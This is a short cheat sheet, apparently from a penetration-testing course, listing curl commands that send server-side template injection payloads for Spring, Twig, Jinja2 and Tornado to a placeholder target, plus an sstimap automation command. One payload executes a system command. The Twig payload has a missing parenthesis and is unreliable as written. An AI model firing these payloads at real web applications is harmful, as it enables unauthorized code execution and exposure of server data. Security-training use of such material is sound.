# SSTI Exploitation Example 2

| `curl -X POST -d 'email=${7*7}' http://<TARGET IP>:<PORT>/jointheteam`                                 | Interagindo com o destino remoto (carga útil do Spring)                      |
| ------------------------------------------------------------------------------------------------------ | ---------------------------------------------------------------------------- |
| `curl -X POST -d 'email={{_self.env.display("TEST"}}' http://<TARGET IP>:<PORT>/jointheteam`           | Interagindo com o alvo remoto (carga útil Twig)                              |
| `curl -X POST -d 'email={{config.items()}}' http://<TARGET IP>:<PORT>/jointheteam`                     | Interagindo com o alvo remoto (injeção básica Jinja2)                        |
| `curl -X POST -d 'email={{ [].class.base.subclasses() }}' http://<TARGET IP>:<PORT>/jointheteam`       | Interagindo com o alvo remoto (Jinja2 despeja toda a carga útil das classes) |
| `curl -X POST -d "email={% import os %}{{os.system('whoami')}}" http://<TARGET IP>:<PORT>/jointheteam` | Interagindo com o alvo remoto (carga útil do Tornado)                        |
| `./sstimap.py -u 'http://<TARGET IP>:<PORT>/jointheteam' -d email=blah`                                | Automatizando o processo de exploração com sstimap                           |